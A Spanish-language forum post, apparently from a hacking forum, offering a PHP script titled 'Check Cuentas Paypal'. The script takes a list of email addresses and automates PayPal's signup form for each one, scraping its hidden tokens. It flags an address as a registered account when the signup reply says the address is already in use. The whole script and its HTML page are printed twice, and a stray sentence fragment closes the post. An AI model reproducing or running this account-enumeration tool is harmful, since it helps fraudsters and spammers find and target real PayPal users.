Miguelomeli 2010 © Check Cuentas Paypal Creado por Duskrow
Fuente: DDLR

<?php
@unlink("uno.html");
@unlink("dos.html");
@unlink("tres.html");
@unlink("cuatro.html");
function sacar($TheStr, $sLeft, $sRight){
$pleft = strpos($TheStr, $sLeft, 0);
if ($pleft !== false){
$pright = strpos($TheStr, $sRight, $pleft + strlen($sLeft));
If ($pright !== false) {
return trim( (substr($TheStr, $pleft + strlen($sLeft), ($pright - ($pleft + strlen($sLeft))))) );
}
}
return '';
}
function Nombre(){
return "Maria" ;
}
function Apellidos(){
return "lopez" ;
}
function Password(){
return "0123456789" ;
}
function Direccion(){
return "Pedro moreno" ;
}
function Ciudad(){
return "Zapopan" ;
}
function Zip(){
return "45789" ;
}
function Numero(){
return "3338537788" ;
}
function CheckPaypal($Correo){
$Cookies = "maria.txt" ;
@unlink($Cookies) ;
$Conexion = curl_init();
curl_setopt($Conexion, CURLOPT_URL, '[Enlace externo eliminado para invitados]');
curl_setopt($Conexion, CURLOPT_POST, 0);
curl_setopt($Conexion, CURLOPT_HEADER, 0);
curl_setopt($Conexion, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($Conexion, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($Conexion, CURLOPT_COOKIEJAR, $Cookies);
curl_setopt($Conexion, CURLOPT_COOKIEFILE, $Cookies);
curl_setopt($Conexion, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($Conexion, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
$Html = curl_exec($Conexion);
/*$O = fopen("uno.html" , "a+") ;
fwrite($O , $Html ) ;
fclose($O) ;
*/
curl_setopt($Conexion, CURLOPT_URL, '[Enlace externo eliminado para invitados]');
curl_setopt($Conexion, CURLOPT_POST, 0);
curl_setopt($Conexion, CURLOPT_HEADER, 0);
curl_setopt($Conexion, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($Conexion, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($Conexion, CURLOPT_COOKIEJAR, $Cookies);
curl_setopt($Conexion, CURLOPT_COOKIEFILE, $Cookies);
curl_setopt($Conexion, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($Conexion, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
$Html = curl_exec($Conexion);
/*$O = fopen("dos.html" , "a+") ;
fwrite($O , $Html ) ;
fclose($O) ;
*/
$action = trim(sacar($Html , 'action="' , '"'));
$cmd = trim(sacar($Html , 'name="cmd" value="' , '"'));
$CONTEXT = trim(sacar($Html , 'name="CONTEXT" value="' , '"'));
$referrer = trim(sacar($Html , 'name="referrer" value="' , '"'));
$clicked_upgrade_link = trim(sacar($Html , 'name="clicked_upgrade_link" value="' , '"'));
$refresh_country_code = trim(sacar($Html , 'name="refresh_country_code" value="' , '"'));
$country = "MX" ;
$refresh_lang_code = trim(sacar($Html , 'name="refresh_lang_code" value="' , '"'));
$signup_language_preference = "es_XC";
$account_type_premier = "Abrir+una+cuenta";
$form_charset = "UTF-8";
$Posts .= "cmd=" . $cmd . "&" ;
$Posts .= "CONTEXT=" . $CONTEXT . "&" ;
$Posts .= "referrer=" . $referrer . "&" ;
$Posts .= "clicked_upgrade_link=" . $clicked_upgrade_link . "&" ;
$Posts .= "refresh_country_code=" . $refresh_country_code . "&" ;
$Posts .= "country=" . $country . "&" ;
$Posts .= "refresh_lang_code=" . $refresh_lang_code . "&" ;
$Posts .= "signup_language_preference=" . $signup_language_preference . "&" ;
$Posts .= "account_type_premier=" . $account_type_premier . "&" ;
$Posts .= "form_charset=" . $form_charset ;
curl_setopt($Conexion, CURLOPT_URL, $action);
curl_setopt($Conexion, CURLOPT_POSTFIELDS,$Posts);
curl_setopt($Conexion, CURLOPT_POST, 1);
curl_setopt($Conexion, CURLOPT_HEADER, 0);
curl_setopt($Conexion, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($Conexion, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($Conexion, CURLOPT_COOKIEJAR, $Cookies);
curl_setopt($Conexion, CURLOPT_COOKIEFILE, $Cookies);
curl_setopt($Conexion, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($Conexion, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
$Html = curl_exec($Conexion);
/*$O = fopen("tres.html" , "a+") ;
fwrite($O , $Html ) ;
fclose($O) ;
*/
$action = trim(sacar($Html , 'action="' , '"'));
$cmd = trim(sacar($Html , 'name="cmd" value="' , '"'));
$CONTEXT = trim(sacar($Html , 'name="CONTEXT" value="' , '"'));
$email = $Correo ;
$password = urlencode(Password());
$retype_password = urlencode(Password());
$first_name = urlencode(Nombre());
$last_name = urlencode(Apellidos());
$birthdate_b = 16 ;
$birthdate_a = 11;
$birthdate_c = 1987;
$refresh_country_code = trim(sacar($Html , 'name="refresh_country_code" value="' , '"'));
$citizenship = "MX";
$address1 = urlencode(Direccion());
$address2 = "";
$city = urlencode(Ciudad());
$state = "Jalisco";
$zip = urlencode(Zip());
$H_PhoneNumber = urlencode(Numero());
$next_x = ""; // next.x
$form_charset = "UTF-8";
$bp_mid = trim(sacar($Html , 'name="bp_mid" value="' , '"'));
$bp_ks1 = trim(sacar($Html , 'name="bp_ks1" value="' , '"'));
$bp_ks2 = trim(sacar($Html , 'name="bp_ks2" value="' , '"'));
$bp_ks3 = trim(sacar($Html , 'name="bp_ks3" value="' , '"'));
$flow_name = trim(sacar($Html , 'name="flow_name" value="' , '"'));
$fso = trim(sacar($Html , 'name="fso" value="' , '"'));
$Posts = "" ;
$Posts .= "cmd=" . $cmd . "&" ;
$Posts .= "CONTEXT=" . $CONTEXT . "&" ;
$Posts .= "email=" . $email . "&" ;
$Posts .= "password=" . $password . "&" ;
$Posts .= "retype_password=" . $retype_password . "&" ;
$Posts .= "first_name=" . $first_name . "&" ;
$Posts .= "last_name=" . $last_name . "&" ;
$Posts .= "birthdate_b=" . $birthdate_b . "&" ;
$Posts .= "birthdate_a=" . $birthdate_a . "&" ;
$Posts .= "birthdate_c=" . $birthdate_c . "&" ;
$Posts .= "refresh_country_code=" . $refresh_country_code . "&" ;
$Posts .= "citizenship=" . $citizenship . "&" ;
$Posts .= "address1=" . $address1 . "&" ;
$Posts .= "address2=" . $address2 . "&" ;
$Posts .= "city=" . $city . "&" ;
$Posts .= "state=" . $state . "&" ;
$Posts .= "zip=" . $zip . "&" ;
$Posts .= "H_PhoneNumber=" . $H_PhoneNumber . "&" ;
$Posts .= "next.x=" . $next_x . "&" ;
$Posts .= "form_charset=" . $form_charset . "&" ;
$Posts .= "bp_mid=" . $bp_mid . "&" ;
$Posts .= "bp_ks1=" . $bp_ks1 . "&" ;
$Posts .= "bp_ks2=" . $bp_ks2 . "&" ;
$Posts .= "bp_ks3=" . $bp_ks3 . "&" ;
$Posts .= "flow_name=" . $flow_name . "&" ;
$Posts .= "fso=" . $fso ;
curl_setopt($Conexion, CURLOPT_URL, $action);
curl_setopt($Conexion, CURLOPT_POSTFIELDS,$Posts);
curl_setopt($Conexion, CURLOPT_POST, 1);
curl_setopt($Conexion, CURLOPT_HEADER, 0);
curl_setopt($Conexion, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($Conexion, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($Conexion, CURLOPT_COOKIEJAR, $Cookies);
curl_setopt($Conexion, CURLOPT_COOKIEFILE, $Cookies);
curl_setopt($Conexion, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($Conexion, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
$Html = curl_exec($Conexion);
/*$O = fopen("cuatro.html" , "a+") ;
fwrite($O , $Html ) ;
fclose($O) ;
*/
curl_close($Conexion);
if( strstr($Html , "nuestros registros, ya tiene registrada") ){
return true ;
} else {
return false ;
}
}
?>
<html>
<head>
<title>Check Cuentas Paypal</title>
<style>
body{
text-align: center;
font-size: 11px;
font-family: verdana;
background-color: #EFEFEF;
}
h1 {
padding: 10px 15px;
margin: 0px;
font-size: 14px;
background-color: #747474;
background-image: -moz-linear-gradient(100% 100% 90deg, #777, #999) !important;
background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#999), to(#777)) !important;
color: #FFF;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
text-shadow:1px 1px 2px #333333;
}
table {
width: 565px;
}
table tr td{
font-family: verdana;
font-size: 11px;
padding: 10px 5px;
border-bottom: solid 1px #CCC;
}
#wrapper{
width: 600px;
margin: 20px auto;
text-align: left;
}
#console{
height: 200px;
overflow: auto;
background-color: #000;
padding: 15px;
font-family: monospace;
font-size: 12px;
color: #FFF;
}
.content{
padding: 15px;
}
#commander{
border: solid 1px #CCC;
padding: 5px 10px;
-webkit-border-radius: 2px;
-moz-border-radius: 2px;
border-radius: 2px;
margin: 5px;
width: 490px;
height: 30px;
}
.input{
border: solid 1px #CCC;
padding: 5px 10px;
-webkit-border-radius: 2px;
-moz-border-radius: 2px;
border-radius: 2px;
margin: 5px;
width: 490px;
/*height: 30px;*/
}
.textarea{
border: solid 1px #CCC;
padding: 5px 10px;
-webkit-border-radius: 2px;
-moz-border-radius: 2px;
border-radius: 2px;
margin: 5px;
width: 490px;
}
.box{
-moz-box-shadow: 1px 1px 8px #666;
-webkit-box-shadow: 1px 1px 8px #666;
box-shadow: 1px 1px 8px #666;
border: solid 1px #DDD;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
margin: 15px 0px;
background-color: #F5F5F5;
}
.botones{
-moz-box-shadow: 1px 1px 8px #666;
-webkit-box-shadow: 1px 1px 8px #666;
box-shadow: 1px 1px 8px #666;
border: solid 1px #DDD;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
margin: 5px 0px;
background-color: #F5F5F5;
}
#help{
width: 300px;
float: right;
}
.prefix{
color: #0077E7;
}
.keyword{
color: #9eff63;
}
.error{
color: #FF0000;
}
.spacer{
clear: both;
display: block;
}
.Estilo1 {color: #0077E7; font-weight: bold; }
</style>
<script src="[Enlace externo eliminado para invitados]" type="text/javascript"></script>
</head>
<body>
<form name="mailer" id="mailer" method="post">
<div id="wrapper">
<div class="box">
<h1><strong> Check Cuentas Paypal </strong></h1>
<div class="content">
<table cellpadding="5" cellspacing="0" >
<tr>
<td>Mails</td>
<td align="right"><textarea name="mails" rows="8" class="textarea" id="mails" text="test"></textarea></td>
</tr>
<tr>
<td> </td>
<td align="center" class="Estilo1">
<input name="spam" type="submit" class="botones" id="spam" value="Checar Cuentas Paypal">
</td>
</tr>
<tr>
<td> </td>
<td align="center" class="error" c><strong>© Check Cuentas Paypal Creado por Duskrow <br>
© Todos los derechos reservados Duskrow</strong></td>
</tr>
<?php if( isset($_POST['mails']) && !empty($_POST['mails']) ){ ?>
<tr>
<td> </td>
<td align="center" class="Estilo1" id="status">
</td>
</tr>
<tr>
<td> </td>
<td align="left" class="Estilo1">
<?php
@set_time_limit(0);
function ValidarEmail($email){
$mail_correcto = 0;
if ((strlen($email) >= 6) && (substr_count($email,"@") == 1) && (substr($email,0,1) != "@") && (substr($email,strlen($email)-1,1) != "@")){
if ((!strstr($email,"'")) && (!strstr($email,"\"")) && (!strstr($email,"\\")) && (!strstr($email,"\$")) && (!strstr($email," "))) {
if (substr_count($email,".")>= 1){
$term_dom = substr(strrchr ($email, '.'),1);
if (strlen($term_dom)>1 && strlen($term_dom)<5 && (!strstr($term_dom,"@")) ){
$antes_dom = substr($email,0,strlen($email) - strlen($term_dom) - 1);
$caracter_ult = substr($antes_dom,strlen($antes_dom)-1,1);
if ($caracter_ult != "@" && $caracter_ult != "."){
$mail_correcto = 1;
}
}
}
}
}
if ($mail_correcto)
return 1;
else
return 0;
}
$Mails = explode("\r\n" , $_POST['mails']);
for($i=0; $i<count($Mails); $i++){ if( ValidarEmail($Mails[$i]) ){ $Emails[] = $Mails[$i] ; } }
$Correctos = 0 ;
$Vueltas = 0 ;
for($i=0; $i<count($Emails); $i++){
flush();
if( $Correctos == 0 ) { $A = 0 ; } else { $A = $Correctos ; }
if( $Vueltas == 0 ) { $B = 0 ; } else { $B = $Vueltas ; }
echo '
<script type="text/javascript">
var Html = "" ;
Html = Html + \'Total Emails : '.count($Emails).'<br /> \' ;
Html = Html + \'Cuentas Paypal : '.$A.'</br> \' ;
Html = Html + \' Emails Comprobados : '.$B.'</br> \' ;
Html = Html + \'Por Favor espere ... <br > \' ;
Html = Html + \'<img src="[Enlace externo eliminado para invitados]"> \' ;
$("#status").html(Html);
</script>' ;
flush();
if( CheckPaypal($Emails[$i]) ){
echo " <b>Cuenta con Cuenta Paypal : " . $Emails[$i] . "</b><br>" ;
$Correctos++ ;
}
$Vueltas++ ;
flush();
}
?>
</td>
</tr>
<?php } ?>
</table>
</div>
</div>
<div class="spacer"><!-- SPACER --></div>
</div>
</form>
</body>
</html>
@unlink("uno.html");
@unlink("dos.html");
@unlink("tres.html");
@unlink("cuatro.html");
function sacar($TheStr, $sLeft, $sRight){
$pleft = strpos($TheStr, $sLeft, 0);
if ($pleft !== false){
$pright = strpos($TheStr, $sRight, $pleft + strlen($sLeft));
If ($pright !== false) {
return trim( (substr($TheStr, $pleft + strlen($sLeft), ($pright - ($pleft + strlen($sLeft))))) );
}
}
return '';
}
function Nombre(){
return "Maria" ;
}
function Apellidos(){
return "lopez" ;
}
function Password(){
return "0123456789" ;
}
function Direccion(){
return "Pedro moreno" ;
}
function Ciudad(){
return "Zapopan" ;
}
function Zip(){
return "45789" ;
}
function Numero(){
return "3338537788" ;
}
function CheckPaypal($Correo){
$Cookies = "maria.txt" ;
@unlink($Cookies) ;
$Conexion = curl_init();
curl_setopt($Conexion, CURLOPT_URL, '[Enlace externo eliminado para invitados]');
curl_setopt($Conexion, CURLOPT_POST, 0);
curl_setopt($Conexion, CURLOPT_HEADER, 0);
curl_setopt($Conexion, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($Conexion, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($Conexion, CURLOPT_COOKIEJAR, $Cookies);
curl_setopt($Conexion, CURLOPT_COOKIEFILE, $Cookies);
curl_setopt($Conexion, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($Conexion, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
$Html = curl_exec($Conexion);
/*$O = fopen("uno.html" , "a+") ;
fwrite($O , $Html ) ;
fclose($O) ;
*/
curl_setopt($Conexion, CURLOPT_URL, '[Enlace externo eliminado para invitados]');
curl_setopt($Conexion, CURLOPT_POST, 0);
curl_setopt($Conexion, CURLOPT_HEADER, 0);
curl_setopt($Conexion, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($Conexion, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($Conexion, CURLOPT_COOKIEJAR, $Cookies);
curl_setopt($Conexion, CURLOPT_COOKIEFILE, $Cookies);
curl_setopt($Conexion, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($Conexion, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
$Html = curl_exec($Conexion);
/*$O = fopen("dos.html" , "a+") ;
fwrite($O , $Html ) ;
fclose($O) ;
*/
$action = trim(sacar($Html , 'action="' , '"'));
$cmd = trim(sacar($Html , 'name="cmd" value="' , '"'));
$CONTEXT = trim(sacar($Html , 'name="CONTEXT" value="' , '"'));
$referrer = trim(sacar($Html , 'name="referrer" value="' , '"'));
$clicked_upgrade_link = trim(sacar($Html , 'name="clicked_upgrade_link" value="' , '"'));
$refresh_country_code = trim(sacar($Html , 'name="refresh_country_code" value="' , '"'));
$country = "MX" ;
$refresh_lang_code = trim(sacar($Html , 'name="refresh_lang_code" value="' , '"'));
$signup_language_preference = "es_XC";
$account_type_premier = "Abrir+una+cuenta";
$form_charset = "UTF-8";
$Posts .= "cmd=" . $cmd . "&" ;
$Posts .= "CONTEXT=" . $CONTEXT . "&" ;
$Posts .= "referrer=" . $referrer . "&" ;
$Posts .= "clicked_upgrade_link=" . $clicked_upgrade_link . "&" ;
$Posts .= "refresh_country_code=" . $refresh_country_code . "&" ;
$Posts .= "country=" . $country . "&" ;
$Posts .= "refresh_lang_code=" . $refresh_lang_code . "&" ;
$Posts .= "signup_language_preference=" . $signup_language_preference . "&" ;
$Posts .= "account_type_premier=" . $account_type_premier . "&" ;
$Posts .= "form_charset=" . $form_charset ;
curl_setopt($Conexion, CURLOPT_URL, $action);
curl_setopt($Conexion, CURLOPT_POSTFIELDS,$Posts);
curl_setopt($Conexion, CURLOPT_POST, 1);
curl_setopt($Conexion, CURLOPT_HEADER, 0);
curl_setopt($Conexion, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($Conexion, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($Conexion, CURLOPT_COOKIEJAR, $Cookies);
curl_setopt($Conexion, CURLOPT_COOKIEFILE, $Cookies);
curl_setopt($Conexion, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($Conexion, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
$Html = curl_exec($Conexion);
/*$O = fopen("tres.html" , "a+") ;
fwrite($O , $Html ) ;
fclose($O) ;
*/
$action = trim(sacar($Html , 'action="' , '"'));
$cmd = trim(sacar($Html , 'name="cmd" value="' , '"'));
$CONTEXT = trim(sacar($Html , 'name="CONTEXT" value="' , '"'));
$email = $Correo ;
$password = urlencode(Password());
$retype_password = urlencode(Password());
$first_name = urlencode(Nombre());
$last_name = urlencode(Apellidos());
$birthdate_b = 16 ;
$birthdate_a = 11;
$birthdate_c = 1987;
$refresh_country_code = trim(sacar($Html , 'name="refresh_country_code" value="' , '"'));
$citizenship = "MX";
$address1 = urlencode(Direccion());
$address2 = "";
$city = urlencode(Ciudad());
$state = "Jalisco";
$zip = urlencode(Zip());
$H_PhoneNumber = urlencode(Numero());
$next_x = ""; // next.x
$form_charset = "UTF-8";
$bp_mid = trim(sacar($Html , 'name="bp_mid" value="' , '"'));
$bp_ks1 = trim(sacar($Html , 'name="bp_ks1" value="' , '"'));
$bp_ks2 = trim(sacar($Html , 'name="bp_ks2" value="' , '"'));
$bp_ks3 = trim(sacar($Html , 'name="bp_ks3" value="' , '"'));
$flow_name = trim(sacar($Html , 'name="flow_name" value="' , '"'));
$fso = trim(sacar($Html , 'name="fso" value="' , '"'));
$Posts = "" ;
$Posts .= "cmd=" . $cmd . "&" ;
$Posts .= "CONTEXT=" . $CONTEXT . "&" ;
$Posts .= "email=" . $email . "&" ;
$Posts .= "password=" . $password . "&" ;
$Posts .= "retype_password=" . $retype_password . "&" ;
$Posts .= "first_name=" . $first_name . "&" ;
$Posts .= "last_name=" . $last_name . "&" ;
$Posts .= "birthdate_b=" . $birthdate_b . "&" ;
$Posts .= "birthdate_a=" . $birthdate_a . "&" ;
$Posts .= "birthdate_c=" . $birthdate_c . "&" ;
$Posts .= "refresh_country_code=" . $refresh_country_code . "&" ;
$Posts .= "citizenship=" . $citizenship . "&" ;
$Posts .= "address1=" . $address1 . "&" ;
$Posts .= "address2=" . $address2 . "&" ;
$Posts .= "city=" . $city . "&" ;
$Posts .= "state=" . $state . "&" ;
$Posts .= "zip=" . $zip . "&" ;
$Posts .= "H_PhoneNumber=" . $H_PhoneNumber . "&" ;
$Posts .= "next.x=" . $next_x . "&" ;
$Posts .= "form_charset=" . $form_charset . "&" ;
$Posts .= "bp_mid=" . $bp_mid . "&" ;
$Posts .= "bp_ks1=" . $bp_ks1 . "&" ;
$Posts .= "bp_ks2=" . $bp_ks2 . "&" ;
$Posts .= "bp_ks3=" . $bp_ks3 . "&" ;
$Posts .= "flow_name=" . $flow_name . "&" ;
$Posts .= "fso=" . $fso ;
curl_setopt($Conexion, CURLOPT_URL, $action);
curl_setopt($Conexion, CURLOPT_POSTFIELDS,$Posts);
curl_setopt($Conexion, CURLOPT_POST, 1);
curl_setopt($Conexion, CURLOPT_HEADER, 0);
curl_setopt($Conexion, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($Conexion, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($Conexion, CURLOPT_COOKIEJAR, $Cookies);
curl_setopt($Conexion, CURLOPT_COOKIEFILE, $Cookies);
curl_setopt($Conexion, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($Conexion, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
$Html = curl_exec($Conexion);
/*$O = fopen("cuatro.html" , "a+") ;
fwrite($O , $Html ) ;
fclose($O) ;
*/
curl_close($Conexion);
if( strstr($Html , "nuestros registros, ya tiene registrada") ){
return true ;
} else {
return false ;
}
}
?>
<html>
<head>
<title>Check Cuentas Paypal</title>
<style>
body{
text-align: center;
font-size: 11px;
font-family: verdana;
background-color: #EFEFEF;
}
h1 {
padding: 10px 15px;
margin: 0px;
font-size: 14px;
background-color: #747474;
background-image: -moz-linear-gradient(100% 100% 90deg, #777, #999) !important;
background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#999), to(#777)) !important;
color: #FFF;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
text-shadow:1px 1px 2px #333333;
}
table {
width: 565px;
}
table tr td{
font-family: verdana;
font-size: 11px;
padding: 10px 5px;
border-bottom: solid 1px #CCC;
}
#wrapper{
width: 600px;
margin: 20px auto;
text-align: left;
}
#console{
height: 200px;
overflow: auto;
background-color: #000;
padding: 15px;
font-family: monospace;
font-size: 12px;
color: #FFF;
}
.content{
padding: 15px;
}
#commander{
border: solid 1px #CCC;
padding: 5px 10px;
-webkit-border-radius: 2px;
-moz-border-radius: 2px;
border-radius: 2px;
margin: 5px;
width: 490px;
height: 30px;
}
.input{
border: solid 1px #CCC;
padding: 5px 10px;
-webkit-border-radius: 2px;
-moz-border-radius: 2px;
border-radius: 2px;
margin: 5px;
width: 490px;
/*height: 30px;*/
}
.textarea{
border: solid 1px #CCC;
padding: 5px 10px;
-webkit-border-radius: 2px;
-moz-border-radius: 2px;
border-radius: 2px;
margin: 5px;
width: 490px;
}
.box{
-moz-box-shadow: 1px 1px 8px #666;
-webkit-box-shadow: 1px 1px 8px #666;
box-shadow: 1px 1px 8px #666;
border: solid 1px #DDD;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
margin: 15px 0px;
background-color: #F5F5F5;
}
.botones{
-moz-box-shadow: 1px 1px 8px #666;
-webkit-box-shadow: 1px 1px 8px #666;
box-shadow: 1px 1px 8px #666;
border: solid 1px #DDD;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
margin: 5px 0px;
background-color: #F5F5F5;
}
#help{
width: 300px;
float: right;
}
.prefix{
color: #0077E7;
}
.keyword{
color: #9eff63;
}
.error{
color: #FF0000;
}
.spacer{
clear: both;
display: block;
}
.Estilo1 {color: #0077E7; font-weight: bold; }
</style>
<script src="[Enlace externo eliminado para invitados]" type="text/javascript"></script>
</head>
<body>
<form name="mailer" id="mailer" method="post">
<div id="wrapper">
<div class="box">
<h1><strong> Check Cuentas Paypal </strong></h1>
<div class="content">
<table cellpadding="5" cellspacing="0" >
<tr>
<td>Mails</td>
<td align="right"><textarea name="mails" rows="8" class="textarea" id="mails" text="test"></textarea></td>
</tr>
<tr>
<td> </td>
<td align="center" class="Estilo1">
<input name="spam" type="submit" class="botones" id="spam" value="Checar Cuentas Paypal">
</td>
</tr>
<tr>
<td> </td>
<td align="center" class="error" c><strong>© Check Cuentas Paypal Creado por Duskrow <br>
© Todos los derechos reservados Duskrow</strong></td>
</tr>
<?php if( isset($_POST['mails']) && !empty($_POST['mails']) ){ ?>
<tr>
<td> </td>
<td align="center" class="Estilo1" id="status">
</td>
</tr>
<tr>
<td> </td>
<td align="left" class="Estilo1">
<?php
@set_time_limit(0);
function ValidarEmail($email){
$mail_correcto = 0;
if ((strlen($email) >= 6) && (substr_count($email,"@") == 1) && (substr($email,0,1) != "@") && (substr($email,strlen($email)-1,1) != "@")){
if ((!strstr($email,"'")) && (!strstr($email,"\"")) && (!strstr($email,"\\")) && (!strstr($email,"\$")) && (!strstr($email," "))) {
if (substr_count($email,".")>= 1){
$term_dom = substr(strrchr ($email, '.'),1);
if (strlen($term_dom)>1 && strlen($term_dom)<5 && (!strstr($term_dom,"@")) ){
$antes_dom = substr($email,0,strlen($email) - strlen($term_dom) - 1);
$caracter_ult = substr($antes_dom,strlen($antes_dom)-1,1);
if ($caracter_ult != "@" && $caracter_ult != "."){
$mail_correcto = 1;
}
}
}
}
}
if ($mail_correcto)
return 1;
else
return 0;
}
$Mails = explode("\r\n" , $_POST['mails']);
for($i=0; $i<count($Mails); $i++){ if( ValidarEmail($Mails[$i]) ){ $Emails[] = $Mails[$i] ; } }
$Correctos = 0 ;
$Vueltas = 0 ;
for($i=0; $i<count($Emails); $i++){
flush();
if( $Correctos == 0 ) { $A = 0 ; } else { $A = $Correctos ; }
if( $Vueltas == 0 ) { $B = 0 ; } else { $B = $Vueltas ; }
echo '
<script type="text/javascript">
var Html = "" ;
Html = Html + \'Total Emails : '.count($Emails).'<br /> \' ;
Html = Html + \'Cuentas Paypal : '.$A.'</br> \' ;
Html = Html + \' Emails Comprobados : '.$B.'</br> \' ;
Html = Html + \'Por Favor espere ... <br > \' ;
Html = Html + \'<img src="[Enlace externo eliminado para invitados]"> \' ;
$("#status").html(Html);
</script>' ;
flush();
if( CheckPaypal($Emails[$i]) ){
echo " <b>Cuenta con Cuenta Paypal : " . $Emails[$i] . "</b><br>" ;
$Correctos++ ;
}
$Vueltas++ ;
flush();
}
?>
</td>
</tr>
<?php } ?>
</table>
</div>
</div>
<div class="spacer"><!-- SPACER --></div>
</div>
</form>
</body>
</html>
o desde el code para que no aparezcan errores.
Saludos!